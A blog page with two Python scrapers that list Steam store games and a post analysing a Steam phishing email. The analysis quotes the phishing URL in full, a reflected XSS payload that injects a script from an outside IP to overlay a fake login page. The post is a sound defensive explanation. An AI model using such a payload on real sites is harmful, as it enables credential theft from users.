Get A List Of Steam Games (As Of May 2010)

Using Python and Beautiful Soup. This updates the previous script posted on this blog.

from BeautifulSoup import BeautifulSoup
from urllib import urlopen
import re

CATEGORY_GAMES     = '998'
CATEGORY_VIDEOS    = '999'
CATEGORY_DEMOS     = '10'
CATEGORY_MODS      = '997'
CATEGORY_PACKS     = '996'
CATEGORY_DLC       = '21'

html_text = urlopen('http://store.steampowered.com/search/?sort_by=&sort_order=ASC&category1='+CATEGORY_GAMES).read().decode('utf-8')

soup = BeautifulSoup(html_text)
f = open('./output.txt', 'w')

pages = 1
games = 0

print "-- Retrieving number of pages..."
for link in soup.findAll('a', attrs={'href' : re.compile(r"http://store.steampowered.com/search/.*&page=\d+")}):
 try:
  page = int(link.string)
  if page > pages:
   pages = page
 except ValueError:
  pass

print "-- Pages found:",pages

for page in range(1,pages+1):
 print "-- Retrieving page:",page

 html_text = urlopen('http://store.steampowered.com/search/?sort_by=&sort_order=ASC&category1='+CATEGORY_GAMES+'&page='+str(page)).read().decode('utf-8')
 soup = BeautifulSoup(html_text)

 for item in soup.findAll('a', attrs={'class' : re.compile(r'\bsearch_result_row\b')}):
  games += 1
  
  #get information
  appname      = item.find('div', attrs={'class' : re.compile(r'\bsearch_name\b')}).h4.string
  appprice     = item.find('div', attrs={'class' : re.compile(r'\bsearch_price\b')}).string
  appscore     = item.find('div', attrs={'class' : re.compile(r'\bsearch_metascore\b')}).string
  apprelease   = item.find('div', attrs={'class' : re.compile(r'\bsearch_released\b')}).string
  appurl       = item['href']
  appid        = re.match(r"http://store.steampowered.com/(\w+)/(\d+)/", appurl)
  appimage     = re.sub(r"\?t=\d+","",item.find('div', attrs={'class' : re.compile(r'\bsearch_capsule\b')}).img['src'])
  
  #write information to file
  f.write(str(appname)+'\r\n') 
  f.write(str(appprice)+'\r\n') 
  f.write(str(appurl)+'\r\n') 
  f.write(str(appimage)+'\r\n') 
  f.write(str(apprelease)+'\r\n') 
  f.write(str(appscore)+'\r\n') 
  f.write(str(appid.group(1))+"/"+str(appid.group(2))+'\r\n')
  f.write('\r\n') 
  
print "-- Games found:",games
f.close()

Get A List Of Steam Games

Update: see here for a new version which works on the new steam site.

Using Python and Beautiful Soup. Just a quick (ugly) script thrown together for future reference.

from BeautifulSoup import BeautifulSoup
from urllib import urlopen
import re
import codecs

html_text = urlopen('http://store.steampowered.com/search/?advanced=0&term=&category1=998').read()
soup = BeautifulSoup(html_text)
f = codecs.open('./output.txt', 'w', 'iso-8859-1')

pages = 1

print "-- Retrieving number of pages..."
for link in soup.findAll('a', attrs={'href' : re.compile("http://store.steampowered.com/search/\?sort_by=&sort_order=ASC&category1=998&page=\d+")}):
    try:
        page = int(link.string)
        if page > pages:
            pages = page
    except ValueError:
        pass

print "-- Pages found:",pages

for page in range(1,pages+1):
    print "-- Retrieving page:",page
  
    html_text = urlopen('http://store.steampowered.com/search/?sort_by=&sort_order=ASC&category1=998&page='+str(page)).read().decode('iso-8859-1')
    soup = BeautifulSoup(html_text)
    for item in soup.findAll('div', attrs={'class' : "global_area_tabs_item_txt"}):
        f.write(item.h3.string+'\r\n')

f.close()


Don't Get Caught In This Steam Phishing Scam - How Phishers Work

So I just got this mail in my inbox:

Needless to say, I was pretty surprised, I didn't know Steam accounts could expire. Sure enough the e-mail looks legit, it's mailed from support@steam.com, didn't get caught by GMail's spam filter, and the corporate footer looks clean enough. If you have an eye for detail you might notice that there is a space missing here: "click here,login".

Let's check where this link leads to:

https://cafe.steampowered.com/directory.php?country=AL&amp;state='&gt;<script%20src%3dhttp://92.241.190.202/~faaaaaaa/phising/steam/iframe.js></script%20src%3dhttp://92.241.190.202/~faaaaaaa/phising/steam/iframe.js>

"cafe.steampowered.com" certainly looks okay, but now it becomes clear that the state variable has been tampered with. It certainly points to an external script, and putting it in the "phising" folder really doesn't look good... let's open the link. Here's how it looks in Chrome:

And sure enough, the page looks messed up. Let's look at the generated html source:

The phishers have now a fully working script tag injected in the source. Let's see what's in there:

Basically, the phisher is replacing the document body with an iframe which points to an evil url. Let's take a look at that url:

Sure enough, it's a fake Steam login page.

Now you might have noticed that the phisher's attack method wasn't working in my Chrome. Using Firefox, on the same machine, opening the URL from the mail immediately gives:

So, what have we learned?

• Always check mails for spelling mistakes.
• Always check mail and browser URLs for suspicious content.
• If available: trust your spam/phishing filter.
• If you're asked to re-enable your account and you get redirected to a general login page (like the fake on we saw), you can always open a new tab and go to steampowered.com (or other website) by typing it yourself and login that way.

Which actions should be taken?

• Chrome, Firefox and others should detect this evil site as a phishing site (they detect most of them already, but new ones take a while before they get picked up).
• GMail's spam filter failed here, I reported the e-mail as a phishing scam.
• Steam has an XSS exploit in their site which they should fix as soon as possible. Never say that "XSS exploits aren't that dangerous"!